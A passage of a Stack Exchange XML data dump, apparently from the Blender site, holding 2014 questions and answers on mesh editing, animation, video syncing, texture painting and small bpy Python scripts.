  <row Id="6183" PostTypeId="2" ParentId="6181" CreationDate="2014-01-11T07:41:56.353" Score="1" Body="&lt;p&gt;There are several ways to control the displacement based on an image. Try&#xA;Color Mix, RGB curves, Contrast, Hue saturation, bright contrast. they all do different things. It all depends on what you're after.&#xA;The Converter-Math will also affect displacement, and even a color ramp..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to experiment and find what works for you.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-01-11T07:41:56.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6184" PostTypeId="1" AcceptedAnswerId="6185" CreationDate="2014-01-11T07:48:32.197" Score="149" ViewCount="440530" Body="&lt;p&gt;I've just made a set of armor by using a male body mesh model I downloaded and selecting certain faces from the model and duplicating them to create viable armor pieces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the pieces are just duplicated from the same mesh male model, then it's still part of the same object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I separate the armor piece from the model to make the pieces separate?&lt;/p&gt;&#xA;" OwnerUserId="2016" LastEditorUserId="599" LastEditDate="2014-01-11T08:04:29.420" LastActivityDate="2021-01-09T19:43:28.340" Title="Splitting pieces of a mesh into a new object" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="42" ContentLicense="CC BY-SA 3.0" />
  <row Id="6185" PostTypeId="2" ParentId="6184" CreationDate="2014-01-11T07:52:05.080" Score="202" Body="&lt;p&gt;Select the object.&lt;/p&gt;&#xA;&lt;p&gt;Enter edit mode (press &lt;kbd&gt;↹ Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&amp;gt; Selection&lt;/em&gt; to &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/mesh/separate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;separate&lt;/a&gt; the selection into a new object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9rMg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/imh8c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/mesh/separate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;Options&lt;/h2&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Selected&lt;/em&gt;&lt;br /&gt;&#xA;This option separates the selection to a new object.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;By Loose Parts&lt;/em&gt;&lt;br /&gt;&#xA;Separates the mesh in its unconnected parts.&lt;br&gt;&#xA;&lt;em&gt;By Material&lt;/em&gt;&lt;br /&gt;&#xA;Creates separate mesh objects for each material.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note that if there are no disconnected parts of the mesh besides the armor, using the &lt;em&gt;By Loose Parts&lt;/em&gt; option might be faster.&lt;/p&gt;&#xA;&lt;p&gt;Also note that you can select linked geometry by:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;kbd&gt;L&lt;/kbd&gt; with your mouse over geometry will select all geometry connected to the element below your cursor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; will select all geometry connected to any selected element(s).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To access the option from a menu use &lt;em&gt;Mesh&lt;/em&gt; &amp;gt; &lt;em&gt;Separate&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z6bfO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z6bfO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2021-01-09T19:43:28.340" LastActivityDate="2021-01-09T19:43:28.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6186" PostTypeId="2" ParentId="6132" CreationDate="2014-01-11T15:27:55.427" Score="1" Body="&lt;p&gt;Hi vertex colors are exported using the collada exporter. You can check it by opening the .dae file in a browser and search for something &lt;strong&gt;mesh-colors-array&lt;/strong&gt; &lt;img src=&quot;https://i.stack.imgur.com/MKElj.png&quot; alt=&quot;enter image description here&quot;&gt;..( i have it as &lt;strong&gt;Suzanne-mesh-colors&lt;/strong&gt; you will probably have it as &lt;strong&gt;Cube-mesh-colors&lt;/strong&gt;) blender is currently not capable of importing back the vertex color but expect it in the next release.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2014-01-11T15:27:55.427" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6187" PostTypeId="1" CreationDate="2014-01-11T19:25:53.907" Score="1" ViewCount="612" Body="&lt;p&gt;I wan't to animate based on an audio track by &lt;strong&gt;manually&lt;/strong&gt; using key frames and shape keys. In the past I have used audio scrubbing. I would place my sound clip into the VSE and it would work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, suddenly for a reason unknown to me it has stopped working as usual. Instead of just playing the sound for that frame, it plays the whole track whenever I click on the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I revert it to its old behavior?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2088" LastEditorUserId="3127" LastEditDate="2014-12-16T01:27:07.267" LastActivityDate="2014-12-16T01:27:07.267" Title="Manual voice syncing?" Tags="&lt;animation&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6188" PostTypeId="1" AcceptedAnswerId="6199" CreationDate="2014-01-11T21:13:26.270" Score="15" ViewCount="31905" Body="&lt;p&gt;Is there anyway to cleanup vertices/edges in edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been deleting some faces from a mesh but it seems to create a few loose vertices/edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update for clarity:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a mesh like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T3GQu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I delete some parts of it and end up with some edges/vertices that do not have any faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/silbi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I automatically select and/or remove those?&lt;/p&gt;&#xA;" OwnerUserId="2128" LastEditorUserId="2128" LastEditDate="2014-01-12T20:38:33.477" LastActivityDate="2016-07-08T08:46:32.013" Title="Clean up vertices/edges with no faces" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;vertices&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6189" PostTypeId="2" ParentId="6187" CreationDate="2014-01-11T21:27:44.833" Score="1" Body="&lt;p&gt;I don't really understand the problems you have since last december. I also tried to create animations from a control-file therefore I share some thoughts on this topic.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pointers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First step would be to identifiy the &lt;a href=&quot;http://animation.about.com/od/flashanimationtutorials/a/animationphonem.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;phonems&lt;/a&gt; in the audio stream used there is lip-syncing tool &lt;a href=&quot;http://www.lostmarble.com/papagayo/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Papagayo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this BA &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?254015-Creating-a-reusable-set-of-phoneme-poses-to-form-a-sentence-or-phrases&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread&lt;/a&gt; someone used the Papagayo output as input for the script posted there, I it basically applies poses from a poselib.&#xA;I was able to get it work for the latetest blender release. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Answer&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is if anyone knows how i could animate to a voice without&#xA;  automating it with the idea of shape keys for certain voice sounds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created a script to read a control file with frame#, object and influence to automatically create an animation: &lt;a href=&quot;https://blender.stackexchange.com/questions/5358/mapping-an-algorithm-to-an-animation&quot;&gt;Mapping an algorithm to an animation&lt;/a&gt;&#xA;It is very basic but easy to extend to use multiple shape-keys.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-01-11T21:27:44.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6190" PostTypeId="1" CreationDate="2014-01-11T21:33:59.090" Score="18" ViewCount="42399" Body="&lt;p&gt;Can I position all selected vertices to the same place? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically want to set all of their x positions to 0.&lt;/p&gt;&#xA;" OwnerUserId="2128" LastEditorUserId="29" LastEditDate="2014-01-11T21:44:35.833" LastActivityDate="2015-01-12T15:46:08.323" Title="Position all selected vertices to the same place" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ClosedDate="2014-01-12T14:07:35.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="6192" PostTypeId="2" ParentId="6190" CreationDate="2014-01-11T21:36:26.367" Score="25" Body="&lt;p&gt;Just found an answer from: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?167457-Transform-multiple-vertices-flatten-snap-to&quot;&gt;http://blenderartists.org/forum/showthread.php?167457-Transform-multiple-vertices-flatten-snap-to&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two methods that I usually use&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;select the vertices and press &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt; 0&lt;/kbd&gt; to put all the vertices in the same z-position, then move then set the 'Median Z'&#xA;  value in the transform properties.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;put the cursor in the wanted z-position, select the wanted vertices and set pivot to 3d cursor, then press  &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt; 0&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2128" LastEditorDisplayName="user1853" LastEditDate="2015-01-12T15:46:08.323" LastActivityDate="2015-01-12T15:46:08.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6193" PostTypeId="2" ParentId="6190" CreationDate="2014-01-11T21:54:06.360" Score="7" Body="&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; select the vertices and use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Scale&quot; rel=&quot;noreferrer&quot;&gt;scaling&lt;/a&gt; &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt; to constrain it to the x-axis, after that you can numerically input the scaling value (in your case zero) &lt;kbd&gt;0&lt;/kbd&gt;, confirm with &lt;kbd&gt;enter&lt;/kbd&gt; or &lt;kbd&gt;LMB&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-11T21:54:06.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6194" PostTypeId="1" AcceptedAnswerId="6237" CreationDate="2014-01-11T22:00:16.090" Score="10" ViewCount="688" Body="&lt;p&gt;Is there any option in blender to define path as equation?&lt;br&gt;&#xA;I need to move camera by specific equation of motion. This equation is described as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = cos(t) + 0.5 * cos(4*t)&#xA;y = sin(t) + 0.5 * sin(4*t)&#xA;z = sin(4*t)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2108" LastEditorUserId="527" LastEditDate="2014-01-12T00:58:05.073" LastActivityDate="2014-05-06T10:35:12.983" Title="Path for camera from motion equation" Tags="&lt;camera&gt;&lt;path&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6195" PostTypeId="1" AcceptedAnswerId="6212" CreationDate="2014-01-11T22:24:44.933" Score="4" ViewCount="781" Body="&lt;p&gt;There is this square glow effect that a very kind person did for me in Blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6dmER.png&quot; alt=&quot;http://i.stack.imgur.com/6dmER.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is, how does one do this effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to separate the glow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would one have to create several transparent planes which overlay each other? This would be cumbersome?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="599" LastEditDate="2014-01-12T03:24:35.997" LastActivityDate="2014-01-12T21:27:35.110" Title="How to create squared glow?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6196" PostTypeId="1" AcceptedAnswerId="8635" CreationDate="2014-01-12T01:48:45.213" Score="6" ViewCount="1469" Body="&lt;p&gt;I'm trying to add motion tracks to a video I've imported. Here is what I have done so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a clip in the movie clip editor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;Add Marker&quot; and &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;img src=&quot;https://i.stack.imgur.com/KDwAj.png&quot; alt=&quot;enter image description here&quot;&gt; to place a marker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZCNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;→&lt;/kbd&gt; to track the selected marker forward one frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On occasion, the marker would need to be manually adjusted. I would do this by clicking in the little preview in the properties panel and dragging the background until it lined up properly with the correct location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e4MRl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I completed this for the duration of the clip I wanted to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is where things started acting up. I clicked the lock button for the track (the icon next to the eye in the screenshot above) and assumed that everything would stay as it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this is not the case. As soon as I jumped back to the beginning and began playing the clip, the marker wasn't in the correct location for each of the frames. Even though I had lined it up perfectly for each frame before, some of the frames had the marker in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come it moved? What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Details&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blender 2.69 r60995&lt;/li&gt;&#xA;&lt;li&gt;Windows 8.1 64-bit&lt;/li&gt;&#xA;&lt;li&gt;AMD Radeon HD 7560D&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what happens when I push &lt;kbd&gt;←&lt;/kbd&gt; and &lt;kbd&gt;→&lt;/kbd&gt; to toggle between frames 13 and 14:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lePAo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the markers are moving. They aren't supposed to be moving. Something is clearly not working correctly here.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-01-12T02:08:16.083" LastActivityDate="2016-10-18T14:35:32.263" Title="My markers in the movie clip editor keep &quot;moving&quot; around - what gives?" Tags="&lt;tracking&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6198" PostTypeId="2" ParentId="6190" CreationDate="2014-01-12T03:49:48.587" Score="3" Body="&lt;p&gt;Or programmatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;for v in bm.verts:&#xA;    if v.select:&#xA;        v.co.x = 0&#xA;&#xA;bmesh.update_edit_mesh(me, True, False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-12T03:49:48.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6199" PostTypeId="2" ParentId="6188" CreationDate="2014-01-12T06:49:52.363" Score="24" Body="&lt;p&gt;The first tool that will help you cleanup your mesh is Select Loose Geometry which is available in the select menu in edit mode. This will select any vertices that are not connected to anything. Once selected you can simply delete these vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8XpO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one that can help is Select Similar. Start by de-selecting all vertices, then select one vertex that has a single connected edge and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; (also available in the select menu) and choose Amount of connecting edges. This will select all vertices that have one edge connected to them allowing you to delete these vertices. Repeat for any similar situations that you may want to cleanup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Km912.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-12T06:49:52.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6200" PostTypeId="1" AcceptedAnswerId="6201" CreationDate="2014-01-12T09:03:58.263" Score="5" ViewCount="2311" Body="&lt;p&gt;Maybe there's a better way to go about this. What I want to do is render 2 scenes for every frame and use the result from the first render as a texture in the next. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene 2: A room animated with a computer on the desk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene 1: The screen of the computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This probably isn't even possible in the method I'm describing, but I think you'll see what I'm getting at. How can this be done in Blender Internal?&lt;/p&gt;&#xA;" OwnerUserId="2131" LastActivityDate="2015-10-30T19:06:15.903" Title="How to use the render result from one scene as a texture in another scene" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6201" PostTypeId="2" ParentId="6200" CreationDate="2014-01-12T10:58:18.033" Score="4" Body="&lt;p&gt;Neither Cycles not Blender-Internal support this, You just have to render out the files to an image or a movie, then load them in as an image texture afterwards.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-12T10:58:18.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6202" PostTypeId="1" AcceptedAnswerId="6203" CreationDate="2014-01-12T11:50:53.743" Score="2" ViewCount="4375" Body="&lt;p&gt;Can someone tell me how to fold a plane (e.g. modeling a paper plane)?&#xA;Because when I want to fold an edge (the middle line), but have the edges scale... Is there a way to have a pivot edge for the edge to turn around?&#xA;I don't need it animated later, I just try to have a folded paper plane with correct texture afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to get the 3D cursor as pivot point, but I need more of a pivot edge I think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to automatically get the folding pivot edges? So you can take a vertex and move it as you would do in real life with a sheet of paper?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ok, the trick is really pointing with the view through the folding edge path...&#xA;The first fold worked - but the second one is a new problem:&#xA;The selected vertice has to go to the crossing of the circle and middle line - with rotation of course because of the UV...&#xA;So how can the folding edge be created/found? Is there a way to lock the edges from the selected vertice in terms of length?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yB0sZ.png&quot; alt=&quot;Folding Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I tried some geometry to accomplish the problem: generate the folding edge... but I don't know how to get a vertex in the crossing point of the 2 lines here (2 orange selected edges crossing - i need a new folding edge from top tip to this new point to fold the side) - Any suggestions?:&lt;img src=&quot;https://i.stack.imgur.com/3evkj.png&quot; alt=&quot;Crossing Point&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2132" LastEditorUserId="2132" LastEditDate="2014-01-13T20:52:48.223" LastActivityDate="2014-01-13T20:52:48.223" Title="How to fold a plane while keeping length of edges?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6203" PostTypeId="2" ParentId="6202" CreationDate="2014-01-12T13:18:44.327" Score="3" Body="&lt;p&gt;Welcome to Blender SE cheese!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While rotating the vertices around the fold, you must align your view so that the fold points directly away from the view. All vertices along the edge occupy the same point on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can set cursor to folding line, set pivot point to cursor and rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it is not easy to exactly align your view. If you need full precision you can create extra geometry and then align your view to it. Then remove the extra geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1w7Nn.png&quot; alt=&quot;quad to fold&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude a corner vertex at the end of the folding line. Right click directly to extrude it on top of the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the opposing vertex as cursor, scale the extruded vertex up some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WzNsi.png&quot; alt=&quot;extruded vertex&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now extrude that edge to create a face. Extrude the face to create a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTJKQ.png&quot; alt=&quot;extruded cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the face point away from the fold and hit &lt;kbd&gt;Shift + Numpad 7&lt;/kbd&gt;. Now, your view is exactly aligned to the edge. Rotate the outer vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gs7Kf.png&quot; alt=&quot;folded quad&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB! Extruding the edge the right way may be hard sometimes. You can experiment some and see. I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need exact precision. Align you view the normal way and rotate away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-01-12T13:18:44.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6205" PostTypeId="1" AcceptedAnswerId="6246" CreationDate="2014-01-12T14:11:56.557" Score="26" ViewCount="49300" Body="&lt;p&gt;I imported my video file and for some reason (even though the video is one frame smaller than the audio) the video and audio do not sync after being played back for a certain amount of time. &lt;strong&gt;If I were to click on the sequencer and place it at any point in time, the audio and video would start off in sync&lt;/strong&gt;, but if I were to play it from that point the audio and video would gradually de-sync. Also, the video was recorded in OBS but it plays back well and in sync using VLC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is information about the video file and more info about obs and the video file itself (it was just for testing purposes):&#xA;&lt;a href=&quot;https://mega.co.nz/#F!rRcSXCQT!fpjUOjGYzolRO-6zfZgpbA&quot;&gt;https://mega.co.nz/#F!rRcSXCQT!fpjUOjGYzolRO-6zfZgpbA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way of understanding what I mean would be to listen for the sound of the clicks during the video then pause and start it mid way. You will then hear the video and audio re-sync and start off from where it should have but then gradually de-sync. &lt;/p&gt;&#xA;" OwnerUserId="2133" LastEditorDisplayName="user7952" LastEditDate="2015-07-04T18:38:22.020" LastActivityDate="2021-01-31T00:57:47.970" Title="Blender's video and audio don't sync when editing" Tags="&lt;video&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6206" PostTypeId="1" CreationDate="2014-01-12T14:46:22.050" Score="0" ViewCount="447" Body="&lt;p&gt;I would like to resize the columns in z-direction randomly between 0.0, 0.33 or 0.66.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way it doesn't work (tried the same with rotation, that does worked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody knows how it will work?&#xA;Thanks a lot!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def Column(pos_X, pos_Y, pos_Z, dim_X, dim_Y, dim_Z):&#xA;    bpy.ops.mesh.primitive_cube_add(location=(pos_X , pos_Y, pos_Z + dim_Z/2))   #remettre le cube sur la base&#xA;    bpy.ops.transform.resize(value=(0.5, 0.5, 0.5))&#xA;    bpy.ops.transform.resize(value=(dim_X, dim_Y, dim_Z))&#xA;&#xA;def Columns():&#xA;    for i in range(0,4):&#xA;        for j in range(0,4):&#xA;            Column((i*0.33)-((4/2)*2)+3.5,(j*0.33)-((4/2)*2)+3.5,0,0.01,0.01,1)&#xA;            bpy.context.object.name = &quot;COLUMNS&quot;&#xA;            bpy.data.objects[&quot;COLUMNS&quot;].select = True&#xA;            bpy.context.object.name = &quot;COLUMNS.001&quot;&#xA;            bpy.data.objects[&quot;COLUMNS.001&quot;].select = True&#xA;            bpy.ops.object.join()     &#xA;            bpy.context.object.name = &quot;COLUMNS&quot;&#xA;            bpy.data.objects[&quot;COLUMNS&quot;].select = True&#xA;            bpy.context.object.name = &quot;COLUMNS.001&quot;&#xA;            bpy.data.objects[&quot;COLUMNS.001&quot;].select = True&#xA;            bpy.ops.object.join() &#xA;&#xA;Columns()&#xA;&#xA;bpy.ops.object.origin_set(type='ORIGIN_CURSOR', center='MEDIAN')&#xA;scale = random.choice[(0,0.33,0.66)]&#xA;bpy.ops.transform.resize(value=(1, 1, 1*scale)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="1363" LastEditDate="2014-01-12T16:40:56.923" LastActivityDate="2014-01-13T07:24:38.023" Title="how to use random.choice with transform.resize?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6208" PostTypeId="1" CreationDate="2014-01-12T17:48:44.483" Score="1" ViewCount="584" Body="&lt;p&gt;I need to apply a texture paint to a mesh that already has vertex colors attached to it:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q9fZo.png&quot; alt=&quot;Vertex paint mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want to draw on this mesh in texture paint mode the vertex colors get applied too:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OCjEj.png&quot; alt=&quot;Texture paint mode: The vertex colors obstruct most of the mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the vertex colors make it hard to see anything of the texture paint in the dark areas.&#xA;How do I disable the vertex colors during texture painting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a less important side question: How do I disable lighting as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the pure texture to be displayed during painting.&lt;/p&gt;&#xA;" 